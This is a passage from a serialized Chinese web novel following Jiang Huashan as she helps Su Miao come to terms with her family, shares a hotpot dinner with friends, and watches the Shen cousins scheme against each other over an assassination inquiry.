这句话的重量就像一片落叶飘进了盛满天水的井里,水原本与井面齐平,保持着某种不协调的平衡。落叶虽轻,沉入水面,平衡被打破,井里的水哗啦溢了出来。 姜花衫,“苏家如果原谅苏韵,你会原谅她吗?” 苏妙摇头,“我不想原谅她。” “是啊,你不是已经有答案了吗?为什么不敢告诉你爷爷。” 苏妙苦笑出声,喃喃自语,“是啊,为什么不敢告诉爷爷?因为我又在怕,我怕爷爷觉得我不懂事,我怕我的决定会让大家为难。” “所以你真正不够爱的是自己。” 姜花衫顿了顿,略有迟疑还是说出了心里话,“其实……你可以不喜欢苏韵也可以不原谅苏韵的,这是你的权力,没有人可以对你说教。如果你没有能力处理现在的情绪,不能平和地委曲求全哄别人开心,那就暂时放下别人,先让自己开心。” “放下别人?” 姜花衫点头,“还记得开枪时,我对你说的话吗?苏妙,不要再逃避了。” 苏韵涣散的情绪渐渐有了凝聚力,她开始思考。 纵观她和苏韵之间,其实一开始就是她错了,如果她有勇气直接面对身份的落差或者有底气接受苏家人的任何选择,她和苏韵都不会走到今天这一步。 她太在意爷爷、爸爸、妈妈、哥哥是否爱她了,因爱生了惧。 “我好像明白了。” 苏妙转头看向辽阔无边的海湾,“任何人爱我,都受时间、空间、事态的影响,唯独我爱自己,只取决于我。所以,如果我想要收获真正的喜欢,真正的爱,我取悦自己就够了……” 苏妙扬起嘴角,眼含热泪转头看着姜花衫,“对不对?” 姜花衫跟着笑了起来,“对。” 她永远记得,在淮城的老屋里,她抱着沈庄哭的死去活来,控诉奶奶不遵守约定,控诉这个世界没有人爱她。 她满脸乞求询问沈庄,“爷爷,我跟你走,你会像奶奶一样对我好吗?会一直爱我吗?” 沈庄回答出乎意料。 他说,“孩子,这个世界上没有人会一直爱你,即便是爷爷也办不到。但爷爷会教会你如何自爱,因为这世界上能永远陪着你的只有你自己。” 虽然她也曾迷失过,但遇见过光的人,总会再醒来。 * 沈兰晞从海港离开后直接去了南湾当地最豪华的太子酒店。 由高止带路,电梯直通顶层。 顶楼的总统间常年不对外开放,眼下从门厅到过道,所有出入口都是沈兰晞的人,正对门厅的布草间时不时发出凄厉的惨叫声。 “少爷,人在里面,灰鹰还在审。” 沈兰晞点头,目不斜视绕过横厅驻足在整幅落地窗前。 南湾沿海岸建设,市中心几乎所有地标高层都能看到港口。 沈兰晞看了看时间,现在是上午十点。 大约过了半个小时,一个身形魁梧的年轻男人从外面走了进来。 “少爷。” 高止从茶几上的竹筐里拿了条热毛巾扔过去,男人这才反应过来,转身将脸上和手里的血擦拭干净。 沈兰晞走进客厅入座,神色淡漠。 “招了?” 灰鹰摇头,“这些都是地方军阀训练的雇佣军,嘴巴硬的很,骨头打断了都不会说一个字。从他的身形和刚刚交手的情况来看,我可以断定他就是三年前跟我对枪的人。这是从他身上收到的印章。” 沈兰晞接过印章看了看,“信物?” 灰鹰点头,“三年前襄英那场暗杀应该是团队行动,这种印章通常代表行动人的身份。” “身份?”沈兰晞盯着手里的印章细细打量,“他在南湾的老窝查到了吗?” 灰鹰,“还在查,这些人狡猾的很,要不是南湾突然被炸,烧了他们一船的货,我们只怕现在还在大海捞针。” 沈兰晞指尖一顿,将印章丢回高止,“继续审,幕后凶手一定是沈谦,这个不开口就想办法把能开口的引出来。” 灰鹰颔首,“是,少爷。” 沈兰晞下意识又看了看腕表。 * “其实你不用收留我的,我可以住酒店的,我现在已经好多了。” 苏妙把姜花衫送到门口准备自己去找酒店。 姜花衫一把拽住她,“都这个点了,就算要住酒店也先吃饭。” 苏妙有些不自然,“我现在除了你不太想看见别人,还是算了吧。” 话都这么说了,姜花衫也不好坚持,“那行,你等我一下,我进去给你拿件衣服。” 苏妙低头看着身上的毛毯,这次倒没有拒绝,“我在门口等你。” “好。”姜花衫理解她的心情,进了屋直奔自己的房间。 莫然备置衣物的时候买了好几件外套,她挑了一件最厚的。 不想刚走出房间就看见苏妙坐在客厅沙发上,那坐姿比幼儿园小朋友等老师发糖还标准。 沈归灵一见她出来立马站起身,“我刚刚回来看见苏小姐站在门口,她说她在等你。” 苏妙点头,“是啊,然后我就跟阿灵哥进来了。” “……”姜花衫沉默了一秒,忽然想起一件事,上一世苏妙可是喜欢沈归灵喜欢到以死明志。 沈归灵看了姜花衫一眼,“我还有事,先回房了,你们聊。”说完掉头进了自己的房间。 苏妙完全没有察觉两人之间的氛围,一把拽住姜花衫,“你怎么没告诉我阿灵哥也在?” 姜花衫斜睨了她一眼,“怎么?现在又可以看沈归灵了?” 苏妙偷偷往过道瞄了一眼,摇了摇头,“不愧是我一眼就心动的人,长的太好看了,那是什么神仙品味?毛衣的颜色也太好看了,阿灵哥一看就跟别人不同,不像有些男人除了黑和白,什么都穿不出。” 话音刚落,门外传来一声动静。 沈兰晞脱下黑色外套,一身白衬衣走了进来。 “……”苏妙瞪大了眼睛,用力拽着姜花衫的胳膊,“兰晞哥好。” 沈兰晞点头,目光很自然落在姜花衫身上,“吃饭了吗?” 姜花衫摇头。 沈兰晞回头,“高止。” 高止提着一堆生鲜蔬菜进屋,木着脸念着提前准备好的台词,“我买了菜,姜小姐喜欢吃辣的还是不辣的啊?” …… 第332章 消失的未来 高止在厨房噼里啪啦,沈兰晞借口要处理事情,进了房间就没有出来。 偌大的客厅只剩姜花衫和苏妙面面相觑。 苏妙往卧室看了看,一脸八卦,“这房子就你们三个住?” 姜花衫点头,上下瞟了她一眼,“你要现在改变主意,我还可以考虑收留你。” 苏妙眼睛一亮,想了想又摇头拒绝,“还是算了。我原本就是打算出来散心的,现在既然已经想清楚了,也该回去面对了。” 姜花衫有些意外,苏妙刚刚看见沈归灵的时候眼睛珠子都快掉地上了,那不值钱的模样,心思昭然若揭。 怎么就拒绝了? “真想通了?可不要勉强自己。” “连你都看出来了,旁人又怎么会不明白?何况还是那么聪明的人?我还是不上赶子去惹人厌了。” 她笑了笑,目光清澈看向窗外,“不是才告诉自己要自爱吗?我的喜欢那么珍贵,总要留给珍视我的人。虽然阿灵哥真的很好,但是他不喜欢我,在我这里就是最大的不好,所以,我放弃了。” 上一世,苏妙对沈归灵的喜欢几乎到了疯魔的地步,因为记恨余笙与沈归灵关系亲密,她处处跟余笙作对,可她又不是余笙的对手,因此闹出了很多笑话。 其中最大的笑料就是她被余笙挑拨失去了理智,当着一众上层名流的面跳下渡轮,以死表达她对沈归灵的喜欢。 当然,这种不入流的疯魔做法没有感动任何人,甚至连苏家都成了鲸港的笑话。 余笙作为总统女儿很会抓住舆论痛点,面对记者采访时表现出截然不同的新女性力量。 她说:“我很遗憾这样荒唐的闹剧竟然发生在受过精良教育的高知女性身上,连她们都如此,我不敢想象那些不如她们的女孩儿又该自处?我始终认为,这世间没有任何一个男人值得我们以死相博,因为爱情从头到尾都是两个人的博弈,我们不该迁怒别人。需要申明的是,我从未将苏小姐视为敌人。” 余笙这句话登上A国所有女性主题的书刊,为余斯文赢得了不少女性民众的支持。 而苏妙则彻底沦为了一个笑话,顶流世家倾尽家族财力教养出来的千金竟然是个只知道为男人要死要活的恋爱脑,连带一起被质疑的还有苏家家风。 眼前的苏妙,虽然眼底有些忧伤但眉宇间依然明媚,姜花衫心底忽然燃起一丝沸腾的暖流。 隔着虚空,她仿佛看见渡轮上有个少女在朝她微笑,她纵身跳下大海,在旭日升起的那刻变成了永恒的泡沫,就像童话故事里小美人鱼最后的结局。 -【阳光柔和地、温暖地照在冰冷的泡沫上。小人鱼并没有感到灭亡。她看到光明的太阳,同时在她上面飞着无数透明的、美丽的生物。】 学会自爱、拥有善良底色的人,永远不会出卖灵魂去祈求一份虚无缥缈的爱,所以渡轮的女孩儿消失了。 苏妙低头看着自己的掌心,不知道为什么,说出这些积压在心底的话后,她忽然感觉前所未有的轻松,身体里好像充满了某种能量。 这种感觉很玄,没有实质参考,说不清道不明。 “咳咳……” 突然,餐厅传来一声做作的咳嗽声。 “姜小姐,苏小姐,可以吃饭了。” 桌面摆着精致的四菜一汤,香气扑人。 姜花衫拍了拍苏妙的肩膀,“吃饭吧。” “我去叫少爷。”高止摆好碗筷,快步走进过道,左右手同时开工敲门,“少爷、阿灵少爷,吃饭了。” 苏妙帮着盛饭,姜花衫打水,两人刚入座,沈归灵和沈兰晞一前一后走了出来。 姜花衫随意瞥了一眼,愣了愣。 沈兰晞换了一身黄色渐变的羊绒毛衣搭,黑色休闲裤搭配白色黄边运动鞋,就这么往那一站,不知道的还以为是哪个天团爱豆要出道了,嫩的都快要掐出水来了。 这是怎么了? 不等她反应,一身黑的沈归灵从沈兰晞面前绕过,直接入座。 姜花衫这才发现沈归灵也换了衣服,从头黑到脚,只有袜子是白色的。 “……” 她好像明白了又好像没明白,默默看向苏妙,苏妙露了个比哭还难看的笑脸,转头轻轻抽了自己一嘴巴。 死嘴,要你多说话。 一顿饭,吃的鸦雀无声。 吃完饭,高止收拾残局,莫然准备了饭后水果,沈归灵和沈兰晞闲来无事,坐在客厅对弈。 两人一个杀伐果决,一个举棋若定,棋布错峙你来我往安静厮杀。 姜花衫拿了草莓,目不转睛盯着一黑一黄,这两人关系什么时候这么好了? 苏妙不知内情,一脸艳羡,“你们家家庭氛围可真好。” 姜花衫呵呵笑了笑,是啊,以后三房打架的时候氛围更好,动不动就举枪爆头。 正说着,门铃忽然响了起来。 莫然从厨房出来开门,待看见来人微微一愣。 “苏少爷,里面请。” 犹豫片刻,还是恭恭敬敬把人请了进来。 苏妙吓了一跳,一抬头就与苏灼的眼神撞了个正着。 姜花衫也有些惊讶,站起身。 沈归灵和沈兰晞倒没什么表情,暂停棋局,一个起身落座,一个笑着招呼客人。 “莫然,给阿灼哥倒杯水。” 苏灼微微点头,“谢谢诸位对妙妙的照顾,家里长辈急坏了,我来接她回家。” 他本身是个温柔内敛的人,即便苏妙做出的事再荒唐,苏灼也做不出当面教训。 苏妙一把抓住姜花衫的手,试探想寻求一份力量,“哥,我现在不想回去。” 苏灼神情难看,“妙妙,有什么用回家说。” 苏妙皱了皱眉,“我说,我现在不想回去。” “妙妙……”苏灼有些无奈,“妈妈知道你不见了,人都吓晕过去了,还有爷爷,爷爷差点把医院都翻过来了……” “哥。”苏妙出声打断,“我现在真的不想回去,但是你放心,我会给妈妈打电话报平安的。” 苏灼有些失望。 苏妙回头看向姜花衫,“能借个地方说话吗?” 姜花衫转头看向沈归灵。 沈归灵点头,出声,“莫助理。” “两位请跟我来。”莫然领着两人去了隔壁书房。 解决了小插曲,沈归灵和沈兰晞继续下棋。 姜花衫越看越不对劲,摸了摸下巴走到棋局前盘腿落座,偏头看了看沈归灵又歪头看了看沈兰晞。 “不对啊,苏灼怎么这么快就找上门来了?” 沈归灵原本要推兵过河,指尖微顿,沈兰晞原本要端水,手掌悬空。 姜花衫眼里闪过一丝精光,“你们一起通风报信?” …… 第333章 双向奔赴的温暖 沈归灵和沈兰晞对视了一眼,压下指尖若无其事推兵过河。 “眼下苏家和傅家斗的厉害,苏妙突然出现在沈家的地盘,于情于理我都应该只会苏家一声。” 沈兰晞顺其自然端起杯盏,“苏家这件事背后的牵扯不小,说不定还有更大的阴谋,你想帮苏妙不是不可以,但不能避过两家的耳目,这也是对你和苏妙的安全负责。” 姜花衫左右看了看,她发现了,这两人只有在对付她的时候意见高度一致。 “叮咚——” 恰是这时,门外再次响起门铃声。 姜花衫回头看了一眼,警惕看向眼前两人,“你们两个大嘴巴还跟谁说了?” 高止立马跑去门厅。 没过一会儿,沈眠枝探出一只头,笑的腼腆。 姜花衫喜出望外,一改尖酸刻薄,笑吟吟迎上前,“枝枝,怎么是你啊?” “我听爸爸说你们都来南湾了就跟过来了。”沈眠枝拉着姜花衫的手,“兰晞哥,阿灵哥,没有打扰你们吧?” “没打扰没打扰,他们两个下棋呢,我正无聊。” 不等两人回答,姜花衫拽着沈眠枝直接去了卧室。 她也是后来回沈园才听说,是沈眠枝帮她处理了傅潇潇,处理的手段简直拍案叫绝。 沈归灵瞥了一眼,切車过河,“人好像越来越多了,这么热闹,晚上大家一起吃火锅吧?” 沈兰晞皱了皱眉,他有轻微洁癖,不太能接受跟人同锅分食。 “兰晞哥不喜欢?” 沈兰晞跳马吃了沈归灵的車,“无妨,客随主便。” * “岂有此理,你们也太不讲义气了!竟然把我一个人丢在鲸港。” 姜花衫和沈眠枝坐在床尾的沙发上,手机视频里的傅绥尔像只疯狂输出的愤怒青蛙。 “我就躺了一个月,衫衫你都敢单枪匹马勇挑法外狂徒了?怎么招?苏妙是你上辈子失散的孪生姐妹?我拼死护下的命你拿去救她?你是不是想气死我?” “你忘记谁才是你的嫡长闺了?意思是现在不跟我天下第一好了呗?出了这么大的事也不跟我说,去南湾也不跟我说!” 姜花衫捂着发嗡的耳膜,神情尴尬看向沈眠枝,“你跟她说的?” 沈眠枝也有些尴尬,“我要不说,她昨晚就要从医院逃出来了。” 傅绥尔,“反正我现在就个废人了呗,就不配拥有知情权,不配跟大家一起来南湾?” 这调调怎么似曾相识? 姜花衫轻咳一声,“配配配!等会儿我们不管玩什么都给你打视频,行不行?” 傅绥尔瞬间收势,撅着嘴,“这还差不多。” “你记住啊,可别想敷衍我。要是不带我玩我明天就拆了绷带去南湾找你们。” 傅绥尔还在喋喋不休,要不是护士进来提醒休息时间到了还舍不得挂电话。 沈眠枝有些羡慕,她看的很清楚,姜花衫虽然看似在斗嘴,但其实说的每句话都在哄傅绥尔。 见惯了姜花衫嚣张得理不饶人的模样,一时不知究竟哪个才是真正的她。 “吁!终于挂了。” 姜花衫扔下手机,半躺在沙发上,看了沈眠枝一眼主动开口,“你来找我是不是有什么事?” 沈眠枝点头,详细讲述了这几天苏家和傅家博弈的所有过程。 “苏家和傅家现在已经算是彻底撕破脸了,听说傅家现在一直在想办法拉拢周家,周家老爷子最擅长的就是坐山观虎斗,傅家要想说动周家,只怕要掉一层皮。” 这些信息按理沈眠枝是不可能知道的,除非她特意去打听,可是她为什么要这么做呢? 姜花衫心里其实已经有了答案,斟酌片刻说道:“傅潇潇的事我还没来得及好好谢你。” 沈眠枝,“有什么好谢的?比起你对我的帮助,这才哪到哪?” 姜花衫心头忽然有些异样。 沈眠枝眸光真诚,“我知道你可能没办法像信任绥尔一样信任我,我理解。但是,不管你信不信,那天我在菊园跟你说的话都是肺腑之言,我是真的拿你当生死之交。” “我自认为还算了解你,苏妙发生这么大的事你都没有跟家里商量,只靠自己的力量帮助她,我猜想这其中一定有隐情。 既然你不方便,那我可以代劳,苏妙背后是苏家,所以我就想着,是不是我把苏家这条线摸清楚了就能帮你了。” “不过,我现在的能力有限,即便爸爸对我不设防,核心资料也不是能随便拿到的。不瞒你说,这里面很多事都是我东拼西凑自己偷偷分析出来的。” 沈眠枝担心自己这么说可信度会降低,立马又解释道,“你放心,我对自己的分析绝对有信心,你可以信我。” 这一刻,姜花衫明白了心头的异样是什么,是温暖。 她看着沈眠枝头顶的标签,十分郑重,“眠枝,谢谢。” 沈眠枝笑了笑,“不用谢,你只需要告诉我,有用吗?” 姜花衫点头,“有用,很有用。” * 另一边,书房两兄妹的谈话并不顺利。 苏灼嘴巴都说干了,还是没能改变苏妙的决定。不知道为什么,他觉得眼前的苏妙好像和以前不一样了。 “妙妙,你是不是也讨厌哥哥了?” 苏妙摇头,“当然不是。我只是想通了一些事情罢了,哥哥你真的可以放心,我现在可以照顾好自己。我有朋友了,她也会照顾好我的。” 之前她把家人看的太重,就没想过要去苏家之外的世界看看,所以十六年除了周绮珊她从来没有主动交过朋友。 但现在,她想换个活法了,这样不管对苏家、对爷爷、对父母,甚至对她自己都好。 谈话到此为止,苏妙推开书房的门走了出去。 苏灼看着她轻快的步伐,心中五味杂陈,小丫头终究是长大了。 他有些不舍,但苏老爷子还等着他回去问话。 苏灼走进客厅向众人告辞,“我……” 忽然,他眼睛一亮,“我可以留下来跟大家一起吃个饭吗?” …… 第334章 有人欢喜有人愁 莫然一听说少爷想吃火锅,立马在休闲阳台搭了个食台,不到一个小时的时间,海陆空三地的顶级食材整整齐齐摆满了一桌。 其中最醒目的还是要数一整条拍卖级别的伊比利亚火腿。 莫然把开腿的任务交给了高止,高止拿着长刀左右比划有些犯难,杀人他在行,切火腿他不行。 莫然又给了雷行一条白色毛巾,让他负责给少爷们倒酒,考虑到小姐们年纪小,喝不惯度数高的红酒,莫然分别准备了温水、果汁、果酒以及微醺的低度鸡尾酒。 食材准备齐全,沈归灵和沈兰晞的棋局也有了结果。 两人杀到对方无兵无卒,以最惨烈的方式迎来了和局。 夜幕降临,港口又亮起了连排船灯。 屋内,不大不小的圆桌上架着一口铜锅,六个人围桌而坐还余留了不少空间。 锅里的红汤开始翻滚,一个接一个的气泡爆开又冒出,腾升的热气将倒映着城市夜景的玻璃熏成了一幅抽象的艺术画。 姜花衫双手托腮看着眼前排排坐的大家,心中甚是感慨。 命运真是奇妙,上辈子他们这群人八竿子打不到一块,没想到今天竟然能坐在一起吃火锅? 无人知她内心复杂,姜花衫端起草莓汁,自觉应该跟自己碰一杯。 红油与各种香料爆在一起,奇妙的香味迅速占领的整个房子。莫然担心气味太重,上前询问姜花衫。 “姜小姐,储物间还有许多蜡烛没有点,要不要今晚一起用了?” “噗——” 姜花衫没忍住,刚酝酿好的情绪败给了莫然的蜡烛。 沈归灵坐在她对面,不动声色递上纸,替她回答,“不用了,留着以后用。" 莫然点头,“是,锅底好了,我去给大家调蘸料,有忌口的吗?” 苏妙暗暗咋舌,这是哪请的助理,分明是全能保姆。 沈眠枝,“我不吃香菜,不要蒜、也不要葱。” 苏灼默默记下了,以后他也不吃了。 沈归灵面带微笑,“兰晞哥、阿灼哥,今天高兴,喝点?” 苏灼点头,要不是沈归灵和沈兰晞及时报信,苏家现在还鸡犬不宁。还有姜花衫,苏家一直记得她那份恩情,苏灼正愁不知怎么表达感谢之情。 沈兰晞看着清冷,却也没有拒绝。 雷行见状,立马上前倒酒。 高止知道自家少爷不习惯与人同食,片了满满一碟火腿给沈兰晞。 雷行一门心思都在沈归灵身上,只要看见酒杯空了就满上,生怕他家少爷少喝一口。 “……”沈归灵终于按捺不住,按住红酒杯,“你们也辛苦了,一起坐下来吃吧。” 三人相互看了看。 苏妙跟着附和,“是啊,忙了大半天一起吃吧,吃火锅就是要人多才好吃。” 沈眠枝直接起身挪座位,苏灼见状跟着起身。 锅里的油越烧越沸腾,八个人刚刚占满圆桌。 雷行憨憨给高止倒了满满一杯,“你上次说有机会喝点,机会来了。” “……”高止面无表情吃了一口天价火腿,端杯一饮而尽,内心小人却在疯狂叫嚣,喂喂喂!那是客套话!客套话都听不懂吗! 气氛和谐的不像话,姜花衫忽然想起答应傅绥尔的事,拨通了视频电话。 “一起吃火锅?” 傅绥尔虽然被夹在手机支架上,但参与感满满,还让莫然给她调了一碗加辣加麻的蘸料。 还可以这样?苏妙大受启发,掏出手机找到周绮珊照片,“莫助理,麻烦再调一份蘸料。多放点孜然。” “你这……”姜花衫欲言又止,忽然想到什么,“莫助理,快打开电视机。” 八爪鱼莫然上线。 当地新闻台还在重复播放沈庄出访S国的片段,镜头切换到沈庄时,姜花衫举起手里的草莓汁,“来来来,干杯!” 大家被她逗笑了,纷纷响应举杯。 酒杯、果汁碰撞的一瞬间,电视镜头忽然切换到沈清予,他撩起眼睑看了过来。 一切都是那么的刚刚好。 * 与此同时的苏宅。 偌大的餐桌上,以苏敬琉为首,熙熙攘攘坐着四个人,桌上琳琅满目摆满了各式佳肴。 原本以为派苏灼单独去南湾做说客,苏妙一定会跟着回来,没想到连苏灼都被留在了南湾。 苏母这几天经历了大悲大喜,神情有些萎靡。 苏韵见状给苏母盛了一碗热汤。 “人已经找到了,您应该放宽心。” 苏母欣慰笑了笑,转头看向苏敬琉,“爸,阿灼怎么说啊?” 苏敬琉,“那丫头现在跟朋友在一起,说是过几天就回来了。你啊,多听听阿韵的,放宽心,别等妙妙回来你又病倒了。” “爸说的没错,有阿灼在,出不了事。你还是先照顾好自己。”苏父温声拍了拍苏母的手。 苏母点头,这才打起精神喝汤。 晚饭过后,苏敬琉和苏莘去了书房谈事,苏韵陪着苏母在院子里散步。 院子风大,两人走了一会又转去亭里的暖阁。 “妈,喝点姜茶。” 苏母接过茶,拉着苏韵坐下,“阿韵,这里没有外人,你老实告诉妈妈,你和妙妙是不是有什么不愉快?” 苏韵低着头没有说话。 苏母立马明白过来,难怪那孩子不肯回家。这些年苏母是真心疼爱苏妙,两个孩子对她来说就像手心手背的区别,作为母亲她不想看见任何人受到伤害。 苏韵小心看了苏母一眼,“她大概是因为我才不想回来的。如果您觉得为难,我可以……” 苏母拍了拍苏韵的手,温声打断她,“她会回来的。” 苏韵微愣,抬眸看着苏母,“您说什么?” 苏母笑了笑,摸了摸她的脸,“我了解妙妙,这里有她的亲人,她肯定会回来的。你也不要自责,你们都是孩子,剩下的事就让大人处理。” 苏韵垂眸,轻轻点了点头。 眼前的女人和苏莉完全不同。 “有件事……”苏母想了想,斟酌说道:“是关于你的养母。当年你被歹人偷走才让我们母女生离,你的养母与当年的事脱不了干系,她对你的所作所为更是百死不能解我心头之恨,可……她毕竟妙妙的生母,苏家就算要做什么也得问问妙妙的意思。” 苏韵立马明白了苏母的意思,眼里有些失望,“如果苏妙为她的母亲求情,爷爷、苏家就会放过苏莉吗?” 那她曾经经历的深渊又算什么? 苏母摇头,“妈妈并不是这个意思,现在妙妙已经知道了自己的身世,如果不尊重她的意思私自处置了她的生母,我怕她会恨我。” “那我呢?”苏韵静静看着苏母。 苏母轻轻将她揽进怀里,“阿韵,你和妙妙都是妈妈的心头肉,你们谁受到伤害都是我不愿意看到的。当年的生离之苦我比谁都恨,得知那个女人没有善待你,我恨不得剖了她的心。所以妈妈是请求你,请你给妈妈一点时间,也给我们大家一点时间,妈妈答应你,苏莉一定会受到惩罚,一定会为她犯下的罪付出代价,前提是不要因此牵连妙妙,她是无辜的。” “……” * 晚间,苏韵坐在床头盯着窗外发呆。 苏母的话一直在她脑海中闪过,她睡不着。 这时,手机屏幕忽地震了一下。 苏韵转头扫了一眼,眸光掀起暗涌。 【赵棠:我会拉着你一起下地狱的,你别想解脱。】 …… 第335章 交锋、博弈 一夜酣眠。 沈兰晞被电话吵醒。 “少爷,不……不好了!昨晚有人闯进酒店……把……把人给杀了!”高止的酒劲还没缓过来,说话断断续续。 沈兰晞微愣,眸底闪过一丝暗芒,捂着额头情绪冷淡,“昨天除了我,你还联系过谁?” 高止急了,“少爷,你该不会是怀疑我吧?昨晚我和雷行都喝趴……雷行?” 电话那头的男人顿了顿,“昨天白天雷行给我打过电话,不过我什么都没说。” 沈兰晞,“这里是南湾,你什么都没说人家就查不到了?” 高止立马明白过来,气得牙痒痒,“好啊雷行,竟然顶着一张老实人的脸给我下套,难怪昨天一直劝我喝酒,这明显就是早有预谋。” 沈兰晞翻身下床,“酒店情况怎么样?” “我们的人发现及时,他们只灭了口但尸体还在我们手上。” 十分钟后,沈兰晞穿戴整齐从卧房走了出来,路过客厅时身形一顿。 沈归灵穿着黑色衬衣坐在客厅里下棋,察觉到沈兰晞的目光,他毫不避讳抬眸微笑,“兰晞哥,这么早就出去?” 沈兰晞思忖片刻,抬步走进客厅,他先扫了沈归灵一眼,然后才将目光落在棋局上。 这局棋是他和沈归灵下到中段时的布局。 沈兰晞不过一眼就看出沈归灵这是在复刻昨天那局棋。 按照昨天的棋路,一步红棋该上馬了,就在沈归灵指尖压向红馬时,沈兰晞俯身,率先一步移炮将军。 沈归灵抬眸,与他目光对视,“兰晞哥,好棋。” 沈兰晞,“昨晚的酒不错。”说罢,转身出了客厅。 没一会儿便传来门锁关闭的声音。 沈归灵丝毫不受影响,盯着眼前的局棋,“故弄玄虚。” 就在这时,茶几上的手机发出震动。 沈归灵扫了一眼,起身走向阳台。 “爸爸。” 沈谦的声音格外阴沉,“兰晞呢?” 沈归灵,“他刚刚出门了,应该已经收到了消息。” 沈谦,“没想到兰晞竟然有本事查到这一步,还真一点都不能小看他。这次多亏了你警觉,不然要真被查出什么可就麻烦大了。” 沈归灵看着渡口来来往往的船只,眼神冰冷,“兰晞哥刚才特意过来试探我,我担心他已经怀疑我了。” “怀疑又怎么样?老爷子面前是要讲证据的,你不用担心,人我都处理干净了,这件事他就算再查下去也是死无对证。” “……” * 太子酒店。 房间内的气氛格外压抑。 沈兰晞正坐在黑色的皮椅里闭目养神。 少顷,高止领着灰鹰从外面走了进来。 “少爷,查到了。” 高止将手里的一沓资料递给沈归灵。 沈归灵睁眼,接过资料翻看。 高止从旁解释,“这是从死人身上挖出的弹片,我们找人看了,确认是军需。” 沈兰晞没什么反应,以沈谦今时今日的地位把手伸进军处他一点都不奇怪,就是不知道爷爷知道后会不会像他这么淡定? “沿着这条线查下去。” “是。” 原本高止还在懊恼自己竟然着了雷行的道,没想到事情有了反转。 沈兰晞早就知道沈谦是幕后凶手,只是苦于没有证据,所以从入南湾他就设下了迷局。 他知道沈归灵善谋多疑,便故意在他面前现身,为的就是引起沈归灵的警惕。 沈归灵绝不会相信他专程来南湾一趟无事可做,他一定会暗中调查他的去向。 但若是沈兰晞刻意暴露意图,沈归灵一定会起疑,所以他便任由高止成为缺口,让沈归灵误以为是自己追查到的结果。 实则沈兰晞就没想过要撬开雇佣军的嘴,他从一开始的计划就是引蛇出洞,原本他没有证据,但现在因为沈谦急于杀人灭口反而让他有了线索。 高止转身准备撤退,忽然想到什么,对着沈兰晞竖起大拇指,“少爷,牛逼!” 果然,菜鸡少爷只是谈恋爱不行,其他的是样样行啊。 沈兰晞情绪淡淡,脑海中不知怎么忽然闪过出门时那局棋局。 * “阿灵,你做的很好。之前把你一个人留在南湾我还担心你应付不了那群老臣,现在看来倒是我多虑了。” 沈归灵笑了笑,“是爷爷教的好。” 沈谦沉默片刻,再次开口,“等马温把位置坐稳你就回鲸港准备备考吧,军政学院每年第一名都有额外的军分奖励,南湾太小了,不够你磨砺。” “知道了。” 沈归灵挂了电话,转身看向茶几的棋局。 初入沈园时,沈谦曾警告过他,他只是一枚棋子,不要妄图跟任何人攀比,就算他有百龙之智在沈兰晞面前也必须蹲着,因为沈家没有会人期盼一个私生子比嫡太孙长脸,但现在沈谦已经逐渐忘记自己的初衷了。 沈归灵撩着眼皮大手一挥将眼前棋局打乱,他们好像都没明白到底谁才是棋子。 …… 第336章 谋局 “哟,沈龟灵下棋下输了发脾气呢?” 沈归灵愣了愣,抬头就看见祸坨子拽着沈眠枝的手在那蛐蛐,“看见没,棋品如人品,都说了他脾气坏的很。” 沈眠枝尴尬笑了笑,“阿灵哥。” 昨晚大家吃的开心闹到很晚,苏灼为了不打扰大家带苏妙回酒店休息,沈眠枝则和姜花衫住一个房间。 沈归灵微笑点头,“昨晚睡的好吗?” “就是睡的太好了才这个时候起来的。”沈眠枝有些不好意思,左右看了看,“怎么没看见兰晞哥?” 沈归灵弯腰收棋,“他出去了,厨房里有早点。” 沈眠枝盯着他手里的棋,犹豫片刻有些期盼道,“阿灵哥,我能不能跟你下盘棋?” 其实她对棋道也很有研究,大家都说沈归灵厉害,她一直都想找机会切磋,只是以前她总觉得自己不够格,所以从不敢提要求。 沈归灵看了她一眼,欣然应口,“当然可以。” 沈眠枝满脸雀跃,跪坐在棋盘前跃跃欲试。 姜花衫跑进厨房拿根玉米,掰成两半,“诺,边吃边下。” “谢谢。”沈眠枝接过玉米,两眼放光看着沈归灵,“阿灵哥,你可千万别让我。” 沈归灵略有犹豫,“确定?” “嗯。”沈眠枝信心十足,“我想验证自己的真实水平。” 三分钟后。 “……” 眼前的死局,棋子几乎保全,但王将的命已经保不住了。 沈眠枝默默咬下第一口玉米,有些不甘心,“能再来一次吗?” 沈归灵点头。 这次的时间久一点,不过也只撑了五分钟,这五分钟还是因为沈眠枝思考的时间延长了。 “……” 姜花衫咬下最后一口玉米,十分老道拍了拍沈眠枝的肩膀,“想赢他吗?我有办法?” 沈眠枝原本还有些沮丧,闻言顿然眼前一亮,“真的?” 只有真正对局的时候,才能感受到沈归灵对全局的掌控有多变态,要赢他可没那么简单。 沈归灵扯了扯嘴角,“说的我都有点好奇了。” 姜花衫扯了张纸巾擦嘴,“下明棋多没意思,我们下暗棋。” 沈归灵,“野路子?” “什么野路子?规则都是人定的,为什么下个棋都要墨守成规?” 这话让人不得不认同,沈归灵点头,“说的有道理。” 姜花衫将所有棋子反转打乱,整齐排放在同一边棋盘的格子里。 “我是红,你是黑,现在我们都不知道这些棋子是红是黑,以将帅为首依次排序,等级高的可以吃下等级低的,最小的卒可以围剿将帅,每人轮流翻棋,翻到自己的还是对手的全靠运气,落子无悔。” “哦,忘记说了,还有个特殊规则,翻出炮可以隔空吃棋,但吃下的是自己的还是别人的也都靠运气。” 沈归灵笑了笑,“明白了,所以你的策略是,在绝对的实力面前只靠运气。” 姜花衫白了他一眼,“肤浅。” 沈眠枝帮着附和,“我觉得听起来挺有趣的。” 沈归灵,“谁先开始?” “当然是我先。”不等沈归灵反应,姜花衫率先下手,翻开中间的棋子。 运气不错,竟然是红炮。 “啊!”沈眠枝一脸兴奋。 沈归灵也没想到她运气这么好,选了角落,翻出了红象。 “嘿~”姜花衫拿着红炮隔空吃下某棋。 沈眠枝一把抓住她,“就这么吃了,万一是友军呢?” 姜花衫摆摆手,“既然有炮的规则,说明它是棋局重要的制胜因素之一,运气有好有坏,既然这把赌的是运气,我们就只赌运气。”说罢,她将手里的象棋翻了过来,黑色的将赫然出现在掌心。 沈眠枝一脸惊讶,就连沈归灵都微微愣了一下。 “你看,我们运气不错。”姜花衫笑了笑,“轮到你了。” 棋盘一通乱杀,姜花衫靠着手里一个炮隔岸开火,打的对面黑棋完全没有还手的余地。 这种棋局完全不需要动脑子,两分钟就结束了战斗,看的沈眠枝目瞪口呆。 